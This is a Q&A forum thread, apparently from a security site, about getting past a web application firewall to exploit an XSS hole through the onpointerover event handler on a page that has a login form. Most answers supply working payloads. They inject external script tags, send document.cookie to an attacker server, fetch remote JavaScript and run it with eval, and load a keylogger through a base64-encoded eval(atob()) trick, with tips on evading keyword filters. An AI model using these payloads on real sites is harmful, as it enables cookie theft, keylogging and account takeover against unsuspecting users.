0

I bypassed a WAF and found an XSS vulnerability using the onpointerover event handler. In the page where I found the vulnerability, there's also a login page.

What XSS payload can I use with the onpointerover to load an external javascript file inside the page?

Something like: onpointerover="load.external.javascript/file.js"

  • What about: onpointerover=prompt(document.cookie);? – Jeroen Sep 17 at 21:36
  • Hi @Jeroen, That works and show an alert box with cookies but it's not what i'm looking for. I'm looking for something like onpointerover=some-js-code-to-load-external-js - I'd like to include a js keylogger script to demonstrate the full impact of the issue. I already have js keylogger script source code i just need to load it into the website via onpointerover. – rapanui papalegbas Sep 17 at 21:44
  • What does the WAF stop? You can throw whatever JavaScript you want in the event listener, but not if the WAF is blocking keywords you need... – Conor Mancone Sep 18 at 1:56
  • Hi @ConorMancone, The WAF block almost all event handlers (onerror,onload, etc..) and some html code, it also block <script> and </script>. Also the injection occurs inside of an iframe src tag. I am able to break the src attribute and add onpointerover=js – rapanui papalegbas Sep 18 at 15:43
1

onpointerover is just an event that requires an event handler which you can specify inline as:

onpointerover = (event) => { document.write('<script type="text/javascript" src="your_external_js"></script>'); };

Or alternatively document.getElementById('the_id').innerHTML("<script>...</script>") etc...

I'm assuming your WAF evasion is based on JavaScript keywords in which case you'll need to tinker with the word script as it could get blocked. Try adjusting the case or encoding it if that's the case eg: ScRiPt etc...

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

0

Theoretically, if their WAF doesn't block it, you can just put the entire contents of your javascript in the event handler:

onpointerover="javascript:do_something();do_something_else();more_things();"

Of course this has some practical limits: if this is stored XSS then your full JS payload may not fit in the database if there is a small character limit. Also, it increases the odds of accidentally running into another WAF rule. Still, if you can keep your script short it is worth a try. Personally I wouldn't bother with a keylogger, I'd just go for full cookie stealing:

onpointerover="javascript:(new XMLHttpRequest()).open('GET', 'https://evil.yourserver/steal?coookie=' + document.cookie);"

If you're lucky this will sneak past their WAF. Another more flexible option might be something like:

onpointerover="javascript:(new XMLHttpRequest()).open('GET', 'https://evil.yourserver/javascript').addEventListener("load", function(){eval(this.responseText)}).send();"

Then you can have your server return whatever javascript you want.

Note that I haven't tested either of these thoroughly. However, the general principles still apply. You still run the risk of something in your payload triggering their WAF (for instance, they may block all requests that contain the word eval, making the second example useless), so you aren't home free yet. Sometimes finding a payload that works against a WAF is an art more than anything else. Finding an actual execution point though is an important first step.

0

I was able to make it work. After looking for a lot of XSS Evasion methods i found a working one. I was able to load an external script using atob:

id="base64-encoded-javascript-payload" onpointerover="eval(atob(this.id))

Where base64-encoded-javascript-payload in this case was

dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbXl3ZWJzaXRlLmNvbS8xLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==

Thanks for the help!

  • Definitely a glaring XSS vulnerability on their part. I'm surprised their WAF let eval through, but hey, makes it easier for you! – Conor Mancone Sep 18 at 16:31
  • You probably could have just put your base64 encoded string directly in the call to atob as a string (encoded with single quotes), but either way that's a fun trick to keep in the back of my brain! – Conor Mancone Sep 18 at 16:32

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.